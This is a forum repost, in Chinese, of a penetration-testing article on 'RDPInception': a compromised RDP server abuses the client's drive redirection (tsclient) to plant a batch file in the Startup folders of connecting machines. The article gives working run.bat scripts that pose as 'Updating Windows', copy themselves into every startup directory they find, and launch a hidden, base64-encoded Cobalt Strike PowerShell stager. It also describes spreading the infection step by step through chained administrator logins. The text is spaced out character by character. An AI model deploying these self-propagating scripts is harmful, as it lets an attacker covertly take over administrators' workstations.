搜索

[18607] 2021-08-02_内网渗透｜基于文件传输的RDP反向攻击

文档创建者：s7ckTeam
浏览次数：101
最后更新：2025-01-18
2021-08-02_内网渗透｜基于文件传输的RDP反向攻击 内 网 渗 透 ｜ 基 于 文 件 传 输 的   R D P   反 向 攻 击 原 创   W H O A M I   H A C K 学 习 呀   2 0 2 1 - 0 8 - 0 2 收 录 于 话 题 # 渗 透 测 试   , 1 2 # 内 网 渗 透   , 2 0 # 远 程 桌 面   , 3 i m a g e - 2 0 2 1 0 7 1 2 2 1 1 0 0 1 6 1 7 前 言 前 言 通 常 认 为 远 程 桌 面 协 议 是 连 接 远 程 计 算 机 的 安 全 且 值 得 信 赖 的 应 用 程 序 ， 全 球 数 以 千 计 的   I T   专 业 人 员 和 安 全 研 究 人 员 都 在 使 用 远 程 桌 面 协 议 管 理 者 自 己 的 计 算 机 设 备 ， 无 论 是 用 于 帮 助 远 程 工 作 人 员 还 是 在 安 全 的   V M   环 境 中 工 作 ， R D P   远 程 桌 面 客 户 端 都 是 非 常 宝 贵 的 工 具 。 然 而 ， 这 一 值 得 信 赖 的 应 用 程 序 并 不 是 完 全 可 靠 的 ， 在 我 的 《 内 网 渗 透 测 试 ： 初 探 远 程 桌 面 的 安 全 问 题 》 这 篇 文 章 中 ， 我 大 致 罗 列 出 了 常 见 的 用 于 攻 击   R D P   远 程 桌 面 的 方 式 。 本 节 我 们 就 一 个 问 题 进 行 探 讨 ， 即 如 何 通 过 远 程 桌 面 服 务 端 反 打 连 接 他 的 客 户 端 。 如 今 ， 在 很 多 组 织 机 构 内 部 ， 针 对   D M Z   或 隔 离 网 络 区 域 内 的 计 算 机 设 备 ， 为 了 限 制 其 它 接 入 端 口 风 险 ， 通 常 只 允 许 这 些 设 备 开 启   3 3 8 9   端 口 ， 使 用 远 程 桌 面 来 进 行 管 理 维 护 ， 这 样 ， 所 有 正 向 攻 击 手 段 都 无 法 使 用 。 那 这 样 真 的 就 万 无 一 失 了 吗 ？ 当 然 不 是 。 本 节 我 们 就 来 研 究 如 何 通 过   R D P   反 向 攻 击 的 方 式 针 对 这 种 受 限 网 络 设 备 完 成 渗 透 测 试 。 R D P   反 向 攻 击 的 姿 势 有 不 少 ， 本 节 我 们 主 要 针 对 最 简 单 的 一 个 姿 势 来 进 行 进 行 讲 解 ， 即 通 过 挂 载 盘 符 进 行   R D P   反 向 攻 击 。 其 基 本 原 理 就 是 W i n d o w s   远 程 桌 面 客 户 端   m s t s c   有 一 个 盘 符 挂 载 选 项 ， 如 果 勾 选 了 该 选 项 ， 会 开 启 磁 盘 共 享 功 能 ， 相 当 于 将 你 的 磁 盘 再 远 程 主 机 上 共 享 ， 你 可 以 通 过 类 似 于   S M B   文 件 传 输 命 令 那 样 将 位 于 远 程 主 机 上 的 文 件 复 制 到 客 户 端 主 机 上 。 如 果 我 们 通 过 相 应 的 设 置 ， 在 客 户 端 连 接 远 程 主 机 的 一 瞬 间 ， 将 远 程 主 机 上 早 已 准 备 好 的 木 马 程 序 复 制 到 客 户 端 主 机 的 启 动 项 中 ， 那 么 当 客 户
端 主 机 下 一 次 启 动 时 便 会 执 行 该 木 程 序 ， 客 户 端 主 机 便 可 以 成 功 上 线 。 这 种 攻 击 方 法 又 被 称 作   R D P I n c e p t i o n 。 M s t s c   挂 载 盘 符 挂 载 盘 符 这 里 利 用 了 W i n d o w s   远 程 桌 面 客 户 端   m s t s c . e x e   连 接 时 的 一 个 选 项 ： i m a g e - 2 0 2 1 0 7 1 2 2 1 1 0 0 1 6 1 7 连 接 目 标 主 机 时 ， 如 果 像 上 图 那 样 在   m s t s c . e x e   中 开 启 驱 动 器 共 享 的 话 ， 那 么 客 户 端 进 行 远 程 登 陆 后 ， 在 远 程 远 程 主 机 的   “ 网 络 ”   中 便 可 以 发 现 一 个 名 为   “ t s c l i e n t ”   的 主 机 ：
i m a g e - 2 0 2 1 0 7 1 2 2 1 3 4 3 1 2 0 2 这 其 实 就 是 开 启 磁 盘 共 享 后 ， 远 程 主 机 为 连 接 他 的 客 户 端 主 机 分 配 的 名 称 。 然 后 通 过 以 下 格 式 的 命 令 便 可 以 在 远 程 主 机 上 访 问 连 接 他 的 客 户 端 主 机 了 ： 如 下 图 ， 我 们 使 用   “ t s c l i e n t ”   列 出 了 客 户 端 主 机 上 的   C   盘 目 录 ： d i r   t s c l i e n t c         #   列 出 连 接 远 程 主 机 的 本 机   C   盘 目 录 c o p y   f i l e   t s c l i e n t c         #   将 文 件 复 制 到 连 接 远 程 主 机 的 本 机 中 #   t s c l i e n t 盘 符
i m a g e - 2 0 2 1 0 7 1 2 2 1 3 9 2 2 8 6 8 如 下 图 所 示 ， 我 们 使 用   “ t s c l i e n t ”   将 远 程 主 机 上 的   t e s t . t x t   成 功 复 制 到 了 客 户 端 主 机 ： i m a g e - 2 0 2 1 0 7 1 2 2 1 4 8 5 1 1 7 5 这 种 访 问 方 式 类 似 于 使 用   S M B   进 行 文 件 传 输 ， 虽 然 本 质 上 都 是   S M B   协 议 ， 但 是 使 用   t s c l i e n t   无 需 进 行 身 份 认 证 。 但 要 注 意 的 是 ， 只 有 通 过 远 程 登 陆 的 用 户 才 可 以 在 远 程 主 机 中 访 问   t s c l i e n t ， 其 他 在 远 程 主 机 上 本 地 登 录 的 用 户 是 无 论 如 何 也 无 法 访 问   t s c l i e n t   的 。
R D P   反 向 攻 击 测 试 （ 初 探 ） 反 向 攻 击 测 试 （ 初 探 ） 实 验 环 境 ： i m a g e - 2 0 2 1 0 7 1 3 1 0 3 0 4 9 3 3 1 假 设 攻 击 者 已 经 通 过 各 种 手 段 拿 下 了   W i n d o w s   S e r v e r   2 0 1 2   这 台 服 务 器 ， 但 是 目 标 网 络 环 境 为 了 限 制 其 它 接 入 端 口 风 险 ， 只 允 许 W i n d o w s   S e r v e r   2 0 1 2   开 启   3 3 8 9   端 口 ， 由 位 于 更 深 一 层 网 络 中 的 管 理 员 主 机   W i n d o w s   1 0   使 用 远 程 桌 面 来 进 行 管 理 维 护 ， 那 我 们 该 如 何 通 过   W i n d o w s   S e r v e r   2 0 1 2   进 行 横 向 渗 透 并 拿 下 这 台   W i n d o w s   1 0   管 理 员 主 机 呢 ？ 我 们 的 思 路 是 ， 在 远 程 主 机 的 启 动 项 中 写 入 一 个   . b a t   脚 本 （ r u n . b a t ） ， 当 一 个 客 户 端 用 户 通 过 远 程 桌 面 连 接 到 这 个 远 程 主 机 时 ， 在 登 陆 之 后 会 立 即 执 行 这 个 启 动 项 中 的   r u n . b a t   脚 本 。 s t a r t . b a t   脚 本 执 行 后 会 首 先 遍 历   t s c l i e n t   共 享 ， 发 现   t s c l i e n t   共 享 后 就 会 将 自 己 复 制 到   t s c l i e n t   也 就 是 连 接 远 程 主 机 的 客 户 端 主 机 上 的 启 动 项 中 ， 然 后 执 行 一 个   C o b a l t   S t r i k e   生 成 的   P o w e r S h e l l S t a g e r 。 然 后 ， 当 客 户 端 主 机 重 启 或 者 注 销 重 新 登 录 后 就 会 再 次 进 行 上 述 过 程 ， 同 时 会 使 客 户 端 主 机 上 线 。 下 面 我 们 演 示 攻 击 过 程 。 首 先 简 单 编 写 一 个   r u n . b a t （ 仅 提 供 测 试 使 用 ） ： 将 编 写 好 的   r u n . b a t   放 在 远 程 主 机   W i n d o w s   S e r v e r   2 0 1 2   的 系 统 启 动 项 目 录 中 ： #   关 闭 e c h o 响 应 功 能 @ e c h o   o f f e c h o   U p d a t i n g   W i n d o w s   . . . #   关 闭 e c h o 响 应 功 能 @ e c h o   o f f #   设 置 一 个 短 时 计 数 器 ， 以 确 保 t s c l i e n t 进 程 被 完 全 加 载 t i m e o u t   1   > n u l   2 > & 1 #   如 果 当 前 远 程 主 机 上 可 以 访 问 到   t s c l i e n t ,   则 可 以 成 功 将   r u n . b a t   通 过   t s c l i e n t   复 制 到 客 户 端 主 机 上 c o p y   " C : P r o g r a m D a t a M i c r o s o f t W i n d o w s S t a r t   M e n u P r o g r a m s S t a r t U p r u n . b a t "   " t s c l i e n t C P r o g r a m D a t a M i c r o s o f t W i n d o w s S t a r t   M e n u P r o g r a m s S t a r t U p " #   最 后 执 行   C o b a l t   S t r i k e   生 成 的   P o w e r S h e l l   S t a g e r p o w e r s h e l l . e x e   - n o p   - w   h i d d e n   - e n c o d e d c o m m a n d   J A B z A D 0 A T g B l A H c A L Q B P A G I A a g B l A G M A d A A g A E k A T w A u A E 0 A Z Q B t A G 8 A c g B 5 A F M A d A B y A G U A Y Q B t A C g A L A B b A E M A b w B u A H Y A Z Q B y A H Q A X Q A 6 A D o A R g B y A G 8 A b Q B C A G E A c w B l A D Y A N A B T A H Q A c g B p A G 4 A Z w A o A C I A S A A 0 A H M A S Q B B A E E A Q Q B B A E E A Q Q B B A E E A Q Q B M A F Y A V w B h A D I A L w B p A F M A Q g B i A D k A b g B Q A H c A S w B m A D I A Z w B K A F U A Q g B N A F c A Y g B D A E Q A S g B q A E Y A b w
i m a g e - 2 0 2 1 0 7 1 3 0 0 2 2 3 7 2 2 0 然 后 将 远 程 主 机   W i n d o w s   S e r v e r   2 0 1 2   注 销 ， 等 待 客 户 端 主 机   W i n d o w s   1 0   的 连 接 。 假 设 此 时 管 理 员 好 像 通 过 远 程 桌 面 去 管 理 这 个   W i n d o w s   S e r v e r   2 0 1 2 ， 当 他 连 接 上 远 程 桌 面 时 ， 位 于   W i n d o w s   S e r v e r   2 0 1 2   启 动 项 中 的   r u n . b a t   就 会 成 功 执 行 ， 如 下 所 示 ： C : P r o g r a m D a t a M i c r o s o f t W i n d o w s S t a r t   M e n u P r o g r a m s S t a r t U p
i m a g e - 2 0 2 1 0 7 1 3 0 0 2 6 0 7 4 8 8 如 下 图 所 示 ， 成 功 将   r u n . b a t   感 染 到 了 客 户 端 主 机   W i n d o w s   1 0   的 启 动 项 中 ： i m a g e - 2 0 2 1 0 7 1 3 0 1 1 3 2 8 7 7 4 当 管 理 员 的 这 台 客 户 端 主 机 重 启 或 者 注 销 重 新 登 录 之 后 ， r u n . b a t   里 面 的   P o w e r S h e l l   S t a g e r   就 会 执 行 ， W i n d o w s   1 0   就 会 上 线 ： i m a g e - 2 0 2 1 0 7 1 3 0 1 2 5 0 5 2 2 7
i m a g e - 2 0 2 1 0 7 1 3 0 1 2 4 0 8 0 0 6 R D P   反 向 攻 击 测 试 （ 套 娃 ） 反 向 攻 击 测 试 （ 套 娃 ） 在 上 一 个 情 景 中 ， 攻 击 者 通 成 功 以   W i n d o w s   S e r v e r   2 0 1 2   这 台 服 务 器 为 据 点 向 连 接 他 的 客 户 端 主 机 发 起 了   R D P   反 向 攻 击 ， 最 终 拿 下 了 客 户 端 主 机   W i n d o w s   1 0 。 这 台   W i n d o w s   S e r v e r   2 0 1 2   作 为 一 个   “ 传 染 源 ” ， 只 要 连 接 他 的 客 户 端 开 启 了 盘 符 挂 载 功 能 就 能 上 钩 ， 并 将   r u n . b a t   传 染 到 客 户 端 主 机 的 启 动 项 中 。 那 么 假 设 这 样 一 种 情 况 ： i m a g e - 2 0 2 1 0 7 1 3 1 1 2 6 5 3 3 5 9 管 理 员 位 于 更 深 一 层 的 网 络 中 ， 其 使 用 自 己 的 笔 记 本 电 脑   W i n d o w s   7   先 通 过 远 程 桌 面 登 陆 了   W i n d o w s   1 0 ， 然 后 又 通 过 W i n d o w s   1 0   登 陆 了   W i n d o w s   S e r v e r   2 0 1 2   的 远 程 桌 面 。 不 出 预 料 ， 在   W i n d o w s   1 0   连 接 上   W i n d o w s   S e r v e r   2 0 1 2   时 ， r u n . b a t   便 会 扩 散 到   W i n d o w s   1 0   的 启 动 项 中 ， 当   W i n d o w s   1 0 注 销 后 ， 管 理 员 再 次 使 用 他 的   W i n d o w s   7   连 接   W i n d o w s   1 0   的 远 程 桌 面 ， 位 于   W i n d o w s   1 0   上 的   r u n . b a t   便 又 会 传 染 到
W i n d o w s   7   的 启 动 项 中 ： i m a g e - 2 0 2 1 0 7 1 3 1 1 1 7 3 5 7 4 4 当 管 理 员 重 启 或 者 注 销 重 新 登 录 自 己 的   W i n d o w s   7   后 ， 为 于   W i n d o w s   7   启 动 项 中 的   r u n . b a t   便 会 执 行 ， W i n d o w s   7   便 会 上 线 ： i m a g e - 2 0 2 1 0 7 1 3 1 1 2 3 4 4 0 7 1 若   W i n d o w s   7   再 次 被 其 他 机 器 通 过 远 程 桌 面 进 行 连 接 ， 那 上 面 的 攻 击 过 程 就 会 重 演 。 通 过 这 种 反 向 层 层 传 导 、 步 步 顺 藤 摸 瓜 的
手 法 ， 直 至 对 任 何 向 被 感 染 主 机 发 起   R D P   请 求 连 接 的 计 算 机 形 成 攻 击 控 制 ， 最 终 形 成 一 个 攻 击 链 路 。 概 念 性 验 证 概 念 性 验 证   P O C A c t i v e B r e a c h   团 队 的   V i n c e n t   Y i u   根 据 这 种 攻 击 思 路 开 发 了 一 个 概 念 性 验 证   P o C   脚 本 ， 项 目 地 址 ： h t t p s : / / g i t h u b . c o m / m d s e c a c t i v e b r e a c h / R D P I n c e p t i o n 。 脚 本 写 的 很 简 单 ， 仅 供 验 证 类 的 测 试 使 用 ： 利 用 该 脚 本 可 以 以 递 归 方 式 对   R D P   接 入 设 备 的 访 客 计 算 机 发 起 攻 击 。 目 前 ， 该 攻 击 已 有 效 应 用 于   A c t i v e B r e a c h   团 队 多 种 模 拟 评 估 和 复 杂 渗 透 测 试 场 景 中 。 大 体 思 路 与 之 前 的 两 个 情 景 类 似 ： 在 渗 透 测 试 中 ， 如 果 我 们 获 得 某 台 服 务 器   C   的 控 制 权 ， 而 最 终 目 标 是   P C   X ， 但 由 于 对 方 高 度 安 全 的 网 络 环 境 限 制 ， 我 们 只 有 采 取   R D P   反 向 攻 击 的 方 式 ， 通 过 对 接 入   C   的 服 务 器   B   进 行 攻 击 控 制 ， 之 后 ， 对 接 入   B   的 服 务 器   A   进 行 攻 击 控 制 ， 最 终 ， 对 接 入 A   的   P C   X   形 成 攻 击 控 制 。 整 个 攻 击 链 如 下 ： • P C   X   R D P   t o   S e r v e r   A • S e r v e r   A   R D P   t o   S e r v e r   B • S e r v e r   B   R D P   t o   S e r v e r   C 在 这 整 条 攻 击 链 路 中 ， 攻 击 者 可 以 在 任 意 计 算 机 设 备 中 发 起   R D P I n c e p t i o n   攻 击 。 按 照   R D P I n c e p t i o n   的 攻 击 理 论 ， 只 要 管 理 员 以   R D P   远 程 桌 面 的 方 式 登 录 到 这 条 路 径 中 的 任 何 一 台 设 备 ， 攻 击 者 就 可 以 循 环 反 复 获 取 到 所 有 设 备 的 控 制 权 。 而 攻 击 者 唯 一 要 做 的 就 是 在 其 中 一 台 设 备 上 发 起   R D P I n c e p t i o n   攻 击 ， 然 后 ， 只 需 静 静 等 待 管 理 员 发 起   R D P   远 程 桌 面 连 接 请 求 ， 其 余 的 后 续 攻 击 便 可 由 程 序 自 动 完 成 了 。 无 需 蹲 点 守 候 持 续 监 控 ， 只 需 对 入 侵 服 务 器 部 署 好 攻 击 向 量 ， 姜 太 公 钓 鱼 ， 自 会 让 那 些 愿 者 陆 续 上 钩 。 这 种 攻 击 技 术 无 需 用 户 凭 证 或 其 它 漏 洞 利 用 ， 可 在 端 口 和 应 用 等 其 它 接 入 条 件 高 度 受 限 的 网 络 环 境 下 的 横 向 渗 透 测 试 中 ， 当 #   关 闭 e c h o 响 应 功 能 @ e c h o   o f f e c h o   U p d a t i n g   W i n d o w s   . . . #   关 闭 e c h o 响 应 功 能 @ e c h o   o f f #   设 置 一 个 短 时 计 数 器 ， 以 确 保 t s c l i e n t 进 程 被 完 全 加 载 t i m e o u t   1   > n u l   2 > & 1 #   在 R D P 接 入 的 客 户 端 设 备 以 及 被 控 远 程 主 机 上 创 建 临 时 目 录 m k d i r   t s c l i e n t c t e m p   > n u l   2 > & 1 m k d i r   C : t e m p   > n u l   2 > & 1 #   将 我 们 的 批 处 理 文 件   r u n . b a t   拷 贝 到 以 上 两 个 目 录 中 c o p y   r u n . b a t   C : t e m p   > n u l   2 > & 1 c o p y   r u n . b a t   t s c l i e n t c t e m p   > n u l   2 > & 1 #   确 保 在 临 时 目 录 下 不 存 在 t x t 文 件 d e l   / q   % T E M P % t e m p _ 0 0 . t x t   > n u l   2 > & 1 #   在   R D P   客 户 主 机 以 及 被 控 远 程 主 机 上 识 别 出 所 有 系 统 启 动 目 录 s e t   d i r s = d i r   / a : d   / b   / s   C : u s e r s * S t a r t u p * s e t   d i r s 2 = d i r   / a : d   / b   / s   t s c l i e n t c u s e r s * s t a r t u p * e c h o | % d i r s % | f i n d s t r   / i   " M i c r o s o f t W i n d o w s S t a r t   M e n u P r o g r a m s S t a r t u p " > > " % T E M P % t e m p _ 0 0 . t x t " e c h o | % d i r s 2 % | f i n d s t r   / i   " M i c r o s o f t W i n d o w s S t a r t   M e n u P r o g r a m s S t a r t u p " > > " % T E M P % t e m p _ 0 0 . t x t " #   将 上 述   r u n . b a t   批 处 理 文 件 依 次 拷 贝 到 以 下 识 别 出 的 所 有 系 统 启 动 目 录 下 f o r   / F   " t o k e n s = * "   % % a   i n   ( % T E M P % t e m p _ 0 0 . t x t )   D O   (         c o p y   r u n . b a t   " % % a "   > n u l   2 > & 1         c o p y   C : t e m p r u n . b a t   " % % a "   > n u l   2 > & 1         c o p y   t s c l i e n t c t e m p r u n . b a t   " % % a "   > n u l   2 > & 1 ) #   清 理 临 时 文 件 夹 d e l   / q   % T E M P % t e m p _ 0 0 . t x t   > n u l   2 > & 1 #   最 后 执 行   C o b a l t   S t r i k e   生 成 的   P o w e r S h e l l   S t a g e r R E M   i f   " W I N D O M A I N " = " % U S E R D O M A I N % " (   p o w e r s h e l l . e x e   < c r a d l e   h e r e >   )
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理